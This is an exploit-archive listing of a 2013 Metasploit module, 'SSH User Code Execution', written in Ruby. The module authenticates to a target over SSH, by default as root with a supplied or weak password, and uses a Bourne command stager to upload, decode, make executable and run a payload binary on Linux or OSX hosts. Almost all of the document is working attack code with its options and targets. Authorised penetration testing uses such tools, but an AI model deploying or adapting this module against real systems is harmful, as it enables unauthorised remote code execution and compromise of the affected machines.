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SSH User Code Execution

SSH User Code Execution
Posted May 15, 2013
Authored by Spencer McIntyre | Site metasploit.com

This Metasploit module utilizes a stager to upload a base64 encoded binary which is then decoded, chmod'ed and executed from the command shell.

tags | exploit, shell
advisories | CVE-1999-0502
MD5 | c51d5809d74feb050ba211d2afd1170e

SSH User Code Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'net/ssh'

class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking

include Msf::Exploit::CmdStagerBourne

attr_accessor :ssh_socket

def initialize
super(
'Name' => 'SSH User Code Execution',
'Description' => %q{
This module utilizes a stager to upload a base64 encoded
binary which is then decoded, chmod'ed and executed from
the command shell.
},
'Author' => ['Spencer McIntyre', 'Brandon Knight'],
'References' =>
[
[ 'CVE', '1999-0502'] # Weak password
],
'License' => MSF_LICENSE,
'Privileged' => true,
'DefaultOptions' =>
{
'PrependFork' => 'true',
'EXITFUNC' => 'process'
},
'Payload' =>
{
'Space' => 4096,
'BadChars' => "",
'DisableNops' => true
},
'Platform' => [ 'osx', 'linux' ],
'Targets' =>
[
[ 'Linux x86',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
},
],
[ 'Linux x64',
{
'Arch' => ARCH_X86_64,
'Platform' => 'linux'
},
],
[ 'OSX x86',
{
'Arch' => ARCH_X86,
'Platform' => 'osx'
},
],
],
'DefaultTarget' => 0,
# For the CVE
'DisclosureDate' => 'Jan 01 1999'
)

register_options(
[
OptString.new('USERNAME', [ true, "The user to authenticate as.", 'root' ]),
OptString.new('PASSWORD', [ true, "The password to authenticate with.", '' ]),
OptString.new('RHOST', [ true, "The target address" ]),
Opt::RPORT(22)
], self.class
)

register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false])
]
)
end

def execute_command(cmd, opts = {})
begin
Timeout.timeout(3) do
self.ssh_socket.exec!("#{cmd}\n")
end
rescue ::Exception
end
end

def do_login(ip, user, pass, port)
opt_hash = {
:auth_methods => ['password', 'keyboard-interactive'],
:msframework => framework,
:msfmodule => self,
:port => port,
:disable_agent => true,
:password => pass
}

opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']

begin
self.ssh_socket = Net::SSH.start(ip, user, opt_hash)
rescue Rex::ConnectionError, Rex::AddressInUse
fail_with(Exploit::Failure::Unreachable, 'Disconnected during negotiation')
rescue Net::SSH::Disconnect, ::EOFError
fail_with(Exploit::Failure::Disconnected, 'Timed out during negotiation')
rescue Net::SSH::AuthenticationFailed
fail_with(Exploit::Failure::NoAccess, 'Failed authentication')
rescue Net::SSH::Exception => e
fail_with(Exploit::Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")
end

if not self.ssh_socket
fail_with(Exploit::Failure::Unknown)
end
return
end

def exploit
do_login(datastore['RHOST'], datastore['USERNAME'], datastore['PASSWORD'], datastore['RPORT'])

print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending Bourne stager...")
execute_cmdstager({:linemax => 500})
end
end
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